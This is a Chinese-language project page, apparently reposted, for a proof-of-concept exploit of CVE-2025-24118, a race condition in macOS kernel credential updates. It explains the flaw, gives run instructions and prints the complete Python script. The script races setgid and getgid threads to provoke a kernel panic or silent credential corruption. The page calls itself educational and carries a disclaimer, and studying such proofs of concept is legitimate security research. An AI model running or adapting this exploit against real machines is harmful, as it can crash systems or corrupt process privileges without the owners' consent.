CVE-2025-24118 macOS内核竞态条件漏洞PoC
项目标题与描述
本项目是一个针对 CVE-2025-24118 漏洞的概念验证(Proof of Concept)工具。该漏洞是 macOS 内核中发现的一个竞态条件漏洞,根源在于 kauth_cred_proc_update 函数对进程凭证指针 proc_ro.p_ucred 的更新操作是非原子的。本PoC通过Python脚本模拟了触发该漏洞所需的竞态条件,可用于在受控环境下(如CTF比赛、渗透测试实验室)进行安全研究和漏洞原理学习。
功能特性
- 漏洞模拟:通过创建并发的“写入线程”和“读取线程”,精确复现了导致内核凭证更新不一致的竞态条件场景。
- 简洁易懂:使用Python编写,代码逻辑清晰,便于安全研究人员理解和分析漏洞触发机制。
- 教育用途:适合用于学习macOS内核安全机制、竞态条件漏洞的原理及危害。
- 环境自检:脚本运行前会检查当前进程的真实组ID(GID)和有效组ID(EGID),确保它们不同以符合漏洞触发的前提条件。
安装指南
前提条件
- 操作系统:需要在 macOS 系统上运行(建议在Intel架构的测试环境中进行)。
- Python环境:确保系统已安装 Python 3。
- 权限设置:为了成功触发
setgid系统调用并切换组ID,运行该PoC的程序(或解释器)需要具有setgid权限,或者进程的真实GID与有效GID初始状态不同。
运行步骤
- 将提供的Python脚本保存为文件,例如
exp.py。 - 打开终端,导航到脚本所在目录。
- 直接运行脚本:
python3 exp.py - 观察输出。如果进程的真实GID和有效GID相同,脚本会提示错误并退出。如果不同,脚本将启动线程并尝试触发竞态条件。
重要提示:在非授权系统上运行此代码是非法且不道德的。请仅在您拥有完全控制权的实验环境中使用。
使用说明
基础运行
直接执行脚本是最简单的使用方式。脚本会先进行环境检查,然后启动指定数量的线程对来触发竞态条件。
# 直接运行PoC
python3 exp.py
典型场景与输出
在满足漏洞条件(rgid != egid)的环境中运行时,你会看到类似以下输出,然后程序将持续运行,尝试触发内核的不稳定状态(可能最终导致内核恐慌或进程凭证静默损坏)。
Starting 1 thread pairs
rgid: 20
egid: 80
脚本逻辑概述
- 环境验证:检查并确保进程的真实组ID和有效组ID不同,这是触发
kauth_cred_proc_update路径的必要条件。 - 线程创建:创建一对线程(一个“写入者”,一个“读取者”)。
- 竞态触发:
- 写入线程 (
toggle_cred):循环调用os.setgid(),在真实GID和有效GID之间快速切换,模拟对proc_ro.p_ucred的写入操作。 - 读取线程 (
reference_cred):循环调用os.getgid(),读取当前组ID,模拟对proc_ro.p_ucred指针的读取操作。
- 写入线程 (
- 持续运行:两个线程同时运行,制造非原子更新与并发读取之间的时间窗口,从而触发漏洞。
核心代码
以下是PoC脚本的核心代码及其详细注释。
import os
import threading
import sys
import time# 定义线程数,与原C代码保持一致,设置为1对线程即可触发
NUM_THREADS = 1# 获取当前进程的真实组ID和有效组ID
rg = os.getgid()
eg = os.getegid()def toggle_cred():"""写入线程函数。持续在真实GID(rg)和有效GID(eg)之间切换。每次调用 os.setgid() 都会尝试更新内核中的进程凭证结构 (proc_ro.p_ucred)。这个非原子的更新操作是CVE-2025-24118漏洞的根源。"""while True:# 调用setgid写入 proc_ro.p_ucredos.setgid(rg)os.setgid(eg)def reference_cred():"""读取线程函数。持续读取当前的组ID。调用 os.getgid() 会读取内核中的 proc_ro.p_ucred 指针。当此读取与上面的 toggle_cred 写入同时发生时,可能读到不一致的指针值。"""while True:# 调用getgid读取 proc_ro.p_ucredtmp = os.getgid()def main():"""主函数。检查运行条件,初始化并启动竞态线程。"""# 漏洞触发要求真实GID和有效GID不同,以进入kauth_cred_proc_update代码路径if rg == eg:print(f"Real and effective groups are the same ({rg}), they need to be different to trigger kauth_cred_proc_update")sys.exit(1)print(f"Starting {NUM_THREADS} thread pairs")print(f"rgid: {rg}\negid: {eg}")pool = []# 创建指定数量的读写线程对for i in range(NUM_THREADS):t1 = threading.Thread(target=toggle_cred)t2 = threading.Thread(target=reference_cred)pool.append(t1)pool.append(t2)t1.start()t2.start()# 等待所有线程结束(实际上,由于是无限循环,它们不会自行结束)for t in pool:t.join()print("Done")if __name__ == "__main__":main()
6HFtX5dABrKlqXeO5PUv/wpIm2IPnqJCrU03p74jAYw=
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)
公众号二维码

公众号二维码
